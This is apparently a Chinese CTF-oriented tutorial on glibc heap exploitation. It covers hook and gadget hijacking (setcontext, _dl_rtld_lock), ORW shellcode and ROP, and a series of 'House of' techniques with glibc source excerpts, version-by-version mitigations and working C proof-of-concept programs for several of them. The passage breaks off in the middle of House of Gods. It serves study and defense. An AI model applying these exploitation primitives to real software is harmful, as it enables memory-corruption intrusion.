在 rtld_global 结构体中有 _dl_rtld_lock_recursive 和 _dl_rtld_unlock_recursive 两个函数指针。

struct rtld_global
{
...
#if defined SHARED && defined _LIBC_REENTRANT \
    && defined __rtld_lock_default_lock_recursive
  EXTERN void (*_dl_rtld_lock_recursive) (void *);
  EXTERN void (*_dl_rtld_unlock_recursive) (void *);
#endif
...
};

该函数指针指向的函数在 exit 中被调用
在这里插入图片描述

void _dl_fini(void) {
    ...
    for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) {
        /* Protect against concurrent loads and unloads.  */
        __rtld_lock_lock_recursive (GL(dl_load_lock));
    ...
    __rtld_lock_unlock_recursive (GL(dl_load_lock));
    ...


声明位置: libc-lockP.h  
定义:  
# define __rtld_lock_lock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
 替换:  
(({
    __typeof(__pthread_mutex_lock) *_fn = (__pthread_mutex_lock);
    _fn != ((void *) 0) ? (*_fn)(&(_dl_load_lock).mutex) : 0;
}))


声明位置: libc-lockP.h  定义:  
# define __rtld_lock_unlock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
 替换:  
(({
    __typeof(__pthread_mutex_unlock) *_fn = (__pthread_mutex_unlock);
    _fn != ((void *) 0) ? (*_fn)(&(_dl_load_lock).mutex) : 0;
}))

在这里插入图片描述
只要改写该函数指针就可以在程序结束时劫持程序执行流程。

glibc-2.34 起 __rtld_lock_lock_recursive__rtld_lock_unlock_recursive 定义发生改变,该 hook 失效。

# define __rtld_lock_lock_recursive(NAME) \
  __pthread_mutex_lock (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
  __pthread_mutex_unlock (&(NAME).mutex)

mmap 获取 libc 基地址

当用户的请求超过 mmap 分配阈值,并且主分配区使用 sbrk() 分配失败的时候,或是非主分配区在 top chunk 中不能分配到需要的内存时,ptmalloc 会尝试使用 mmap() 直接映射一块内存到进程内存空间。如果获取到分配的堆块地址,就可以获取一个与 libc 基地址有固定偏移的地址。

setcontext gadget

setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针,然后根据 SigreturnFrame 的内容设置各种寄存器。
因此从 setcontext+53(不同 libc 偏移可能不同)的位置开始有如下 gadget,即根据 rdi 也就是第一个参数指向的 SigreturnFrame 结构设置寄存器。

.text:0000000000047B75 48 8B A7 A0 00 00 00          mov     rsp, [rdi+0A0h]
.text:0000000000047B7C 48 8B 9F 80 00 00 00          mov     rbx, [rdi+80h]
.text:0000000000047B83 48 8B 6F 78                   mov     rbp, [rdi+78h]
.text:0000000000047B87 4C 8B 67 48                   mov     r12, [rdi+48h]
.text:0000000000047B8B 4C 8B 6F 50                   mov     r13, [rdi+50h]
.text:0000000000047B8F 4C 8B 77 58                   mov     r14, [rdi+58h]
.text:0000000000047B93 4C 8B 7F 60                   mov     r15, [rdi+60h]
.text:0000000000047B97 48 8B 8F A8 00 00 00          mov     rcx, [rdi+0A8h]
.text:0000000000047B9E 51                            push    rcx
.text:0000000000047B9F 48 8B 77 70                   mov     rsi, [rdi+70h]
.text:0000000000047BA3 48 8B 97 88 00 00 00          mov     rdx, [rdi+88h]
.text:0000000000047BAA 48 8B 8F 98 00 00 00          mov     rcx, [rdi+98h]
.text:0000000000047BB1 4C 8B 47 28                   mov     r8, [rdi+28h]
.text:0000000000047BB5 4C 8B 4F 30                   mov     r9, [rdi+30h]
.text:0000000000047BB9 48 8B 7F 68                   mov     rdi, [rdi+68h]
.text:0000000000047BB9                               ; } // starts at 47B40

因此只需要设置 rdi 为 SignatureFrame 结构体指针,然后跳转到 setcontext + 53 就可以将除 rax 外的寄存器设置成对应的值。

例如 free hook 传入的参数是释放的内存的指针,因此可以通过将 free hook 写入 setcontext gadget 然后 free 一个存储 SigreturnFrame 结构的内存来设置寄存器,继而控制程序执行流程来执行 shellcode 或进一步 rop 。

然而,从 libc-2.29 版本起,setcontext 改用 rdx 寄存器来访问 SigreturnFrame 结构,因此无法直接利用 setcontext 的 gadget 将 free 的 SigreturnFrame 结构赋值给寄存器。
不过可以先泄露堆地址,然后通过下面两条 gadget 中的一条将释放的 chunk 的内存地址赋值给 rdx 然后跳转到 setcontext 的 gadget 。

mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax
mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20]

除此之外,也可以直接调用 setcontext 函数给寄存器赋值,这就是 house of 一骑当千。

除了 setcontext 外还有另一个 gedget 可以同时完成程序执行流劫持和栈迁移:

<svcudp_reply+22>:	mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+26>:	mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+30>:	lea    r12,[rbp+0x10]
<svcudp_reply+34>:	mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+41>:	mov    rdi,r12
<svcudp_reply+44>:	call   QWORD PTR [rax+0x28]

这个 gadget 在不同的 libc 中使用的寄存器不同,具体视情况而定。比如有的 libc 使用的是 rbx 而不是 rbp 导致无法栈迁移实现对程序执行流程的连续劫持。

利用这个gadget,通过rdi控制rbp进而控制rax并执行跳转,只需要在rax + 0x28的位置设置leave; ret即可完成栈迁移.
在这里插入图片描述

orw shellcode

对于开了沙箱保护的堆题,由于不能 execve ,需要 orw 的手段来获取 flag 。
以这个题目为例,首先在泄露 libc 基地址后通过 house of storm 在 __free_hook 处申请堆块并写入如下数据:
在这里插入图片描述

之后释放一个 SigreturnFrame,寄存器设置如下图所示。程序通过 setcontext gadget 设置寄存器后将完成栈迁移可程序执行流劫持后程序将执行,此时会调用 mprotect 函数将 __free_hook 所在内存页添加可执行属性并且会将栈迁移至 &__free_hook+0x8 的位置。执行完 mprotect 函数后程序将跳转至 shellcode1 执行。shellcode 会向 __free_hook 所在内存页起始位置读入能 orw 的 shellcode2 并跳转至 shellcode 执行获取 flag 。
在这里插入图片描述

与 ROP 结合

除了写 各种 hook 外,堆利用还可以与 ROP 结合。比如开沙箱禁用 execve 调用的堆题除了前面提到的 orw shellcode 方法外也可以用 orw 的 ROP 来获取 flag。

在栈上构造 ROP

__environ 是一个保存了栈上变量地址的系统变量,位于 libc 中。
在这里插入图片描述
先利用 tcache attack 攻击 __environ 泄露栈地址,然后再利用 tcache 攻击栈上函数的返回地址处,写入 ROP 最后在函数返回控制函数执行流程。

栈迁移至堆

与 orw shellcode 思路类似,只不过这里只是通过 setcontext rop 将栈迁移至写有 rop 的堆中,利用 rop 来控制程序执行流程。

House of Roman

通过覆盖 unsorted bin 的 fd 的低 2 字节对 glibc 上某结构进行 1/16 概率的爆破。
在这里插入图片描述

House Of Einherjar

House Of Einherjar 主要是利用释放不在 fast bin 大小范围内的 chunk 是会尝试合并前面已释放 chunk 的机制,通过伪造 chunk 头部实现几乎任意地址内存的申请。

在这里插入图片描述

  • 构造 fake chunk ,因为 fake chunk 涉及 unlink ,

    /* consolidate backward */
    if (!prev_inuse(p)) {
        prevsize = prev_size(p);
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(av, p, bck, fwd);
    }
    

    因此要绕过 unlink 的一系列检查(当然如果 fake chunk 用一个已经释放的 chunk 也是可以的):

    1. 为了绕过

      if (__builtin_expect(FD->bk != P || BK->fd != P, 0))                 
          malloc_printerr(check_action, "corrupted double-linked list", P, AV);
      

      令:

      fake_chunk->fd = &fake_chunk
      fake_chunk->bk = &fake_chunk
      
    2. 为了绕过(glibc-2.26 起)

      if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))   
          malloc_printerr("corrupted size vs. prev_size");  
      

      令:

      fake_prev_size1 = fake_size
      
  • 溢出修改 chunk2 的 prev_size&chunk2 - &fake_chunk 并将 PREV_INUSE 置 0

  • free chunk2 ,触发 House Of Einherjar 。

自 glibc-2.29 起加入了 prevsize 的检查,house of einherjar 必须确保 fake chunk 的 fake_size 等于 chunk2 的 fake_prev_size2。

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

House Of Force

篡改 top chunk 的 size 为一个很大值(通常为 0xFFFFFFFF )可以绕过对用户请求的大小和 top chunk 现有的 size 进行的验证:

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

如果用户请求的堆大小不受限制就可以使得 top chunk 指向我们期望的任何位置。
自 glibc2.29 起新增了对 top chunk size 的合法性检查,house of force 就此失效。

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
  malloc_printerr ("malloc(): corrupted top size");

House of Rabbit

house of rabbit 有两种攻击方式。

第一种攻击方式是利用 malloc_consolidate 时缺少对 fast bin 中 chunk 的 size 的检查,通过修改 fast bin 中的 chunk 的 size 造成 overlap chunk ,然后触发 malloc_consolidate 使 fastbin 清空,从而分配出重叠的堆块。感觉用处不大,既然能改 size 为什么不先改 size 再释放?

第二种攻击方式是利用 malloc_consolidate 将 fast bin 放入 unsotrted bin 和从 unsorted bin 进 large bin 以及 large bin 切割 chunk 时对 size 检查不严格从而可以不用严格保证 size 正确的情况下将 fake chunk 申请出来,甚至可以任意地址 malloc 。

首先,要想任意地址 malloc 需要让伪造的 chunk 进入 large bin 的最后一个 bin 那么 size 字段至少为 0x80000 。然而 system_mem 初始默认为 0x21000,因此伪造的 chunk 从 unsorted bin 进入 large bin 时会通不过下面的检查:

          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

因此需要想办法增大 system_mem 。

其中一种办法是通过申请和释放大内存增大 mmap_threshold 然后 sbrk 增大 system_mem 。

当申请一块大内存时如果 ptmalloc 找不到合适的内存会调用 sysmalloc 函数向系统获取内存。
就 main_arena 来说,当调用 sysmalloc 时,ptmalloc 获取内存有直接 mmap 和 brk 扩展 heap 区域两种方式。这两种方式的选择由 mmap_threshold 决定。

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
	  && (mp_.n_mmaps < mp_.n_mmaps_max)))

只有当所需内存小于 mmap_threshold 时才会调用 brk 扩展内存,system_mem 也才会增加。

      if (brk != (char *) (MORECORE_FAILURE))
        {
          if (mp_.sbrk_base == 0)
            mp_.sbrk_base = brk;
          av->system_mem += size;

因此需要先想办法增大 mmap_threshold 。

当释放一块 ptmalloc 通过 mmap 得到的内存时会将 mmap_threshold 与 chunk 的 size 取最值,因此可以首先通过申请和释放一块大内存将 mmap_threshold 增大。

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* see if the dynamic brk/mmap threshold needs adjusting */
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

之后再次申请一块大内存来增大 system_mem 。

将 fast bin 中的 chunk 的 fd 指向 fake chunk。
在这里插入图片描述
将 fake chunk 的 size 置1,是为了避免 malloc_consolidate 时与后面的 chunk 合并时 unlink 出错。因为 size 为 1 时查找的下一个地址相邻的 chunk 是自身。

      size = chunksize(p);
      nextchunk = chunk_at_offset(p, size);
      nextsize = chunksize(nextchunk);

      if (!prev_inuse(p)) {
          prevsize = prev_size(p);
          size += prevsize;
          p = chunk_at_offset(p, -((long) prevsize));
          unlink(av, p, bck, fwd);	// 不能执行到这里
      }

	  if (nextchunk != av->top) {
	    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

	    if (!nextinuse) {
	      size += nextsize;
	      unlink(av, nextchunk, bck, fwd);	// 不能执行到这里
	    } else
	      clear_inuse_bit_at_offset(nextchunk, 0);

free 一个不在 fast bin 范围的 chunk 与 top chunk 合并,合并后大小大于 FASTBIN_CONSOLIDATION_THRESHOLD 即 0x10000 触发 malloc_consolidate,此时 fake chunk 进入 unsorted bin,而原本在 fast bin 中的 chunk 和释放的 chunk 都合并到 top chunk 中。

    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (have_fastchunks(av))
	malloc_consolidate(av);

为了通过 unsorted bin 到 large bin 时对 size 的检查,同时确保 fake chunk 进入 large bin 的最后一个 bin,需要将 size 的值改为 0x80000 以上。

申请一个大于 0x80000 的内存让 fake chunk 进入 large bin,之后修改 fake chunk 的 size 为一个很大的值(与目标地址的差值再加上一个合适的值,因为第一次 malloc 时会把剩余部分放入 unsorted bin,再次 malloc 会有对 size 的检查)。由于申请内存时从 large bin 的 chunk 切割 chunk 时对 size 缺少检验,因此可以像 house of force 一样任意地址 malloc 。

poc 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>


unsigned long gbuf[6] = {0,0,0,0,0};

int main() {
	void *fast, *small;
	char *victim, target[0x20];
	
	free(malloc(0x80000));

	malloc(0x80000);

	fast = malloc(0x10); 		
	small = malloc(0x80);

	free(fast);

	gbuf[3] = 0x1;	

	*(unsigned long**)fast = &gbuf[2];

	free(small);

	gbuf[3] = 0x80001;
	malloc(0x80000);

	gbuf[3] = (void*)&target-(void*)(gbuf+2)-0x20+0x30;	


	malloc((void*)&target-(void*)(gbuf+2)-0x20);
	victim = malloc(0x10);
	
	assert(victim == &target);
	printf("%p\n",victim);
	
	return 0;
}

glibc-2.26 起,unlink 加入了对 next chunk 的 prev_size 的检查。

#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \

而从 large bin 中取出 chunk 时用的是 unlink 。虽然可以通过设置 size 大小使 next chunk 的 prev_size 在可控内存上,但是很有可能会造成之后从 unsorted bin 中取 chunk 时 size 通不过检查,这无疑增加了利用难度。

glibc-2.27 起,malloc_consolidate 加入了对 fast bin 中 chunk 的 size 的检查。至此,house of rabbit 攻击效果与 fast bin attack 相当,不如 tcache attack

	  if ((&fastbin (av, idx)) != fb)
	    malloc_printerr ("malloc_consolidate(): invalid chunk size");

House of Mind

对于非 main_arena 管理的堆是在 mmap 出的一块 heap_info 结构的内存区域中分配内存的。house of mind 正是通过伪造 arena 和 heap info 实现在伪造的 arena 上写一个 chunk 的地址。这里以 fast bin 范围的 chunk 举例。

当释放的 chunk 的 NON_MAIN_ARENA 标志位置 1 则 ptmalloc 认为该 chunk 不属于 main_arena 管理,因此通过先寻找其对应的 heap_info ,然后通过 heap_info 的 ar_ptr 查找 chunk 对应的 arena 。

根据 chunk 寻找 arena 的过程具体实现如下,其中 HEAP_MAX_SIZE 为 0x4000000 。

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

因此可以考虑伪造 heap_info 和 arena 将一个在 fake heap_info 范围内的 chunk 的 NON_MAIN_ARENA 标志位置 1 然后释放该 chunk ,从而在伪造的 arena 上写该 chunk 的地址
在这里插入图片描述

其中 system_mem 置为 inf 是为了绕过如下检查:

    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might have let to a false positive.  Redo the test
	   after getting the lock.  */
	if (have_lock
	    || ({ assert (locked == 0);
		  mutex_lock(&av->mutex);
		  locked = 1;
		  chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
	      }))
	  {
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
	  }
	if (! have_lock)
	  {
	    (void)mutex_unlock(&av->mutex);
	    locked = 0;
	  }
      }

poc 如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

int main() {	
	int HEAP_MAX_SIZE = 0x4000000;
	int MAX_SIZE = (128 * 1024) - 0x100;
    
	uint8_t * fake_arena = malloc(0x1000); 
	uint8_t * target_loc = fake_arena + 0x28;
	uint8_t * target_chunk = (uint8_t *) fake_arena - 0x10;

	fake_arena[0x880] = 0xff;
	fake_arena[0x881] = 0xff; 
	fake_arena[0x882] = 0xff; 
	fake_arena[0x883] = 0xff;

	uint64_t new_arena_value = (((uint64_t)target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
	uint64_t * fake_heap_info = (uint64_t *)new_arena_value;

	uint64_t * user_mem = malloc(MAX_SIZE);
	while((long long)user_mem < new_arena_value){
        // 使heap_for_ptr(victim)落在fake_heap_info上
		user_mem = malloc(MAX_SIZE);
	}

	uint64_t * fastbin_chunk = malloc(0x50);
	uint64_t * chunk_ptr = fastbin_chunk - 2;
    
	fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
	chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
	free(fastbin_chunk); // Trigger the madness

	assert(*((unsigned long *)(target_loc)) != 0);
}

House of Corrosion

house of Corrosion 是利用 malloc 和 free 过程中对 fastbinsY 数组边界检查不严格,通过修改 global_max_fast 为一个很大的值,造成 fastbinsY 数组越界,最终导致任意地址写的一种堆利用手法。
在这里插入图片描述

如果存在 UAF 漏洞的,那么可以通过修改 chunk 的 fd 再将 chunk 申请出来的的方式在 target 上写一个任意值。
在这里插入图片描述
更进一步,可以将任意地址的值写到其它任意地址上。
在这里插入图片描述
glibc-2.27 起增加了对 global_max_fast 的检测,但实际分析汇编发现检测被优化掉了。

get_max_fast(void) {
    /* Tell the GCC optimizers that global_max_fast is never larger
       than MAX_FAST_SIZE.  This avoids out-of-bounds array accesses in
       _int_malloc after constant propagation of the size parameter.
       (The code never executes because malloc preserves the
       global_max_fast invariant, but the optimizers may not recognize
       this.)  */
    if (global_max_fast > MAX_FAST_SIZE)
        __builtin_unreachable();
    return global_max_fast;
}

在这里插入图片描述
在 glibc-2.37 版本中,global_max_fast 的数据类型被修改为了 int8_u,进而导致可控的空间范围大幅度缩小。

House of Lore

以 how2heap 为例:

  1. 首先申请大小在 small bin 范围的 chunk 。

  2. 申请一个 chunk 防止 free chunk1 时与 top chunk 合并。

  3. 释放 chunk 进入 unsort bin 。

  4. 申请一个 更大的内存使 chunk1 进入 small bin ,此时状态如下图:
    在这里插入图片描述

  5. 如下图形式,绕过检查:

    if (__glibc_unlikely(bck->fd != victim)) {
    	errstr = "malloc(): smallbin double linked list corrupted";
    	goto errout;
    }
    

    在这里插入图片描述

  6. 两次申请 chunk 即可获得 buf1 处的 chunk 。

House of Storm

unsorted bin attack 能够通过将目标地址链入 unsorted bin 然后取出其中另一个 chunk 从而在目标地址对应的 bk 写入 unsorted_chunks (av) ,然而如果我们想要将链入 unsorted bin 的 fake chunk 申请出来却通不过检查。这就需要利用 large bin 的特性伪造 fake chunk 的 size 和 fd 字段。这种攻击方式称为 House of storm 。
漏洞利用条件:

  • 需要攻击者在 largebin 和 unsorted_bin 中分别布置一个 chunk 这两个 chunk 需要在归位之后处于同一个 largebin 的 index 中且 unsortedbin 中的 chunk 要比 largebin 中的大。
  • 需要 unsorted_bin 中的 bk 指针可控。
  • 需要 largebin 中的 bk 指针和 bk_nextsize 指针可控。

下面举一个实际例子:

// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <string.h>

struct {
    char chunk_head[0x10];
    char content[0x10];
} fake;

int main() {
    unsigned long *large_bin, *unsorted_bin;
    unsigned long *fake_chunk;
    char *ptr;

    unsorted_bin = malloc(0x418);
    malloc(0X18);
    large_bin = malloc(0x408);
    malloc(0x18);

    free(large_bin);
    free(unsorted_bin);
    unsorted_bin = malloc(0x418);
    free(unsorted_bin);

    fake_chunk = ((unsigned long) fake.content) - 0x10;
    unsorted_bin[1] = (unsigned long) fake_chunk;

    large_bin[1] = (unsigned long) fake_chunk + 8;
    large_bin[3] = (unsigned long) fake_chunk - 0x18 - 5;

    ptr = malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48 - 1);

    system(fake.content);
}

首先进行如下修改:
在这里插入图片描述

当申请 0x48 大小的内存时,会先遍历 unsorted bin 。

while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))

由于倒序遍历 unsorted bin 时取最后的 chunk 是根据 unsorted_chunks(av)->bk 取的,因此先访问的是 0x418 大小的 chunk 。
因为不满足下面这个判断,因此不会从该 chunk 上切下合适的 chunk ,而是将其放入 large bin 中。

    if (in_smallbin_range(nb) &&
        bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

在放入 large bin 中之前,先要将其从 unsorted bin 中取出,这就完成了一次 unsorted bin attack 。

    unsorted_chunks(av)->bk = bck;
    bck->fd = unsorted_chunks(av);

在这里插入图片描述

由于取出的 chunk 大小不在 small bin 范围,所以将放入 large bin 。

    if (in_smallbin_range(size)) {
    	...
    } else {
    	...
    }

判断 large bin 是否为空,这里显然不为空。

        victim_index = largebin_index(size);
        bck = bin_at(av, victim_index);
        fwd = bck->fd;
        
        if (fwd != bck) {
        	...
        } else ...

large bin 中的 chunk 是按大小降序排列。首先特判大小小于最小的 chunk 的情况。这里通过 bk 访问最小的 chunk ,根据事先的构造,待加入 large bin 的 chunk 大于 large bin 中最小的 chunk ,因此执行的是 else 里的内容。

    if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
        ...
    } else {
        assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
        while ((unsigned long) size < fwd->size) {
            fwd = fwd->fd_nextsize;
            assert((fwd->size & NON_MAIN_ARENA) == 0);
        }
        if ((unsigned long) size == (unsigned long) fwd->size)
            fwd = fwd->fd;
        else {
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;
        }
        bck = fwd->bk;
    }

large bin 对 fake chunk 进行了如下修改,伪造了 size 和 bk 字段。
在这里插入图片描述

因为在开启 PIE 之后 chunk 的地址多为 0x55 和 0x56 开头,且长度为 6 字节,因此刚好在 size 字段中截取出合适的数值。
__int_malloc 在拿到 chunk 后返回到 __libc_malloc__libc_malloc 会对 chunk 的进行检查。

  • 如果 size 为 0x55 那么 IS_MAPPED 没有置位,会判断 arena_for_chunk(mem2chunk(victim)) 。由于 NON_MAIN_ARENA 置位导致计算出的 arena 不是 main_arena(ar_ptr) 因此通不过检查。
  • 如果 size 为 0x56 那么 IS_MAPPED 置位可以通过检查。
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

之后继续遍历 unsorted bin 于是便将 fake chunk 申请出来。

glibc-2.27 加入 tcache,此时是先遍历 unsorted bin,即使找到合适的 chunk 也会放入 tcache 然后继续遍历,因此还会触发报错。因此需要先将 tcache 填满,并且最后通过 calloc 申请触发 house of storm 。

glibc-2.28 开始 unsorted bin 会有如下检查:

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");

glibc-2.30 开始 large bin 会有下面这条检查

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
  malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

因此此方法失效。

House of Rust

该技巧就是 tcachebin stash unlinking + largebin attack 的组合技巧。

该利用方法的主要步骤如下:

  • tcachebin[0x90] 填满,把 smallbin[0x90] 也填满。
    在这里插入图片描述

  • 把最后一个 smallbin 0x90 的 chunk 的 size 改成 0xb0,将其释放到 tcachebin[0xb0],这一步主要是为了改变其 bk 指向 tcache_perthread_struct,可以部分修改低位的字节,以便下一步分配到目标区域。
    在这里插入图片描述

  • 使用 largebin attack 往上一步的 bk->bk 写一个合法地址。(新版本的 Large Bin Attack 需要泄露 tcache_perthread_struct 的地址)
    在这里插入图片描述

  • 耗尽 tcachebin[0x90],再分配的时候就会触发 tcache stash unlink,之后就能分配到 tcache_perthread_struct 结构体。
    在这里插入图片描述

  • 利用 tcache stash unlink 在 tcache_perthread_struct 上写一个 libc 地址。

  • 通过控制 tcache_perthread_struct 结构体,部分写上面的 libc 地址,分配到 stdout 结构体,泄露信息。

  • 通过控制 tcache_perthread_struct 结构体分配到任意地址。

这里 poc 只实现了劫持 tcache_perthread_struct ,后续利用需要根据实际情况进行。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

#define TCACHE_NUM 7
#define SMALL_NUM 7

int main() {
    void *tcache_chunk[TCACHE_NUM];
    size_t *small_chunk[SMALL_NUM];

    for (int i = 0; i < TCACHE_NUM; i++) {
        tcache_chunk[i] = malloc(0x88);
    }
    for (int i = 0; i < SMALL_NUM; i++) {
        small_chunk[i] = malloc(0x88);
        malloc(0x10);
    }

    for (int i = 0; i < TCACHE_NUM; i++) {
        free(tcache_chunk[i]);
    }
    for (int i = 0; i < SMALL_NUM; i++) {
        free(small_chunk[i]);
    }
    free(malloc(0x500));
    small_chunk[SMALL_NUM - 1][-1] = 0xb1;
    free(small_chunk[SMALL_NUM - 1]);

    size_t tcache_perthread_struct = small_chunk[SMALL_NUM - 1][1];
    printf("[*] tcache_perthread_struct: %p\n", tcache_perthread_struct);

    size_t *large_chunk = malloc(0x420);
    malloc(0x500);
    void *unsorted_chunk = malloc(0x410);
    malloc(0x500);
    free(large_chunk);
    free(malloc(0x500));
    large_chunk[3] = tcache_perthread_struct - 8;
    free(unsorted_chunk);
    malloc(0x500);

    for (int i = 0; i < TCACHE_NUM; i++) {
        tcache_chunk[i] = malloc(0x88);
    }
    malloc(0x88);

    printf("[+] hijack tcache_perthread_struct: %p\n", malloc(0x88));

    _exit(0);
}

glibc-2.34 之后,tcache_key 是一个随机数,不是 tcache_perthread_struct 了。

所以,此时可以加上 largebin attack,把以上的第二步变为:继续用 largebin attack 向其 bk 写一个堆地址,然后还要部分写 bk 使其落在 tcache_perthread_struct 区域。其他步骤一样。

或者,在 smallbin 里面放 9 个,这样第 8 个的 bk 肯定就是一个堆地址。此时就需要爆破 1/16 的堆,1/16 的 glibc 地址,成功的概率是 1/256。

House of Crust

在 House of Rust 的基础上修改 global_max_fast 然后借助 House of Corrosion 完成后续利用。

House of Gods

main_arena 中有一个记录 bins 中是否有空闲 chunk 的结构 binmap

    struct malloc_state
    {
      [...]

      /* Bitmap of bins */
      unsigned int binmap[BINMAPSIZE];

      /* Linked list */
      struct malloc_state *next;

      /* Linked list for free arenas.  Access to this field is serialized
         by free_list_lock in arena.c.  */
      struct malloc_state *next_free;

      /* Number of threads attached to this arena.  0 if the arena is on
         the free list.  Access to this field is serialized by
         free_list_lock in arena.c.  */
      INTERNAL_SIZE_T attached_threads;

      /* Memory allocated from the system in this arena.  */
      INTERNAL_SIZE_T system_mem;
      INTERNAL_SIZE_T max_system_mem;
    };

binmap 只有在 malloc 过程中的下面两个场景会被修改:

  • 在遍历 unsorted bin 中的空闲 chunk 时如果将该 chunk 放入对应的 small bin 或 large bin 中会在 binmap 对应位置置位。
    mark_bin(av, victim_index);
    
    定义:  
    #define mark_bin(m, i) ((m)->binmap[idx2block(i)] |= idx2bit(i))
    替换:  
    ((av)->binmap[((victim_index) >> 5)] |= ((1U << ((victim_index) & ((1U << 5) - 1)))))
    
  • 在遍历 small bin + large bin 找大小不小于当前 chunk 的空闲 chunk 时如果对应 binmap 置位的 bin 是空闲的就将对应位置复位。
    av->binmap[block] = map &= ~bit;
    

因此如果我们释放一个 0xa0 大小的 chunk 到 small bins 就可以将 binmap 中的第 9 比特置位,此时我们将 binmap 当做一个 0x200 大小的 chunk,则 bk 对应 main_arenanextmain_arenanext 指向 main_arena

                                         [1]        [0]
    0x00007ffff7dd3450 00007ffff7dd3438 0000000000000200 <- binmap[0, 1] (fake sizefield)
    0x00007ffff7dd3460 0000000000000000 00007ffff7dd2c00 <- next (fake bk pointer)
    0x00007ffff7dd3470 0000000000000000 0000000000000001
    0x00007ffff7dd3480 0000000000021000 0000000000021000 <- system_mem, max_system_mem

因此可以用如下方法把 binmap 以及后面的部分申请出来。

首先做如下构造:

  • 由于之前释放一个 0xa0 大小的 chunk 到 small bin 中导致 binmap 前 8 字节为 0x200 。
  • FAST40bk 在释放前写入 INTM 的地址。
  • 释放一个 0x20 大小的 chunk 确保 main_arena 所在的 fake chunk 的 size 大于 2 * SIZE_SZ

在这里插入图片描述
之后 UAF 修改 SMALLCHUNKbk 字段指向 &main_arena.bins[253] ,结果如下图所示:
在这里插入图片描述
此时 unsorted bin 中有如下结构:

head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM
     bk            bk        bk            bk        bk

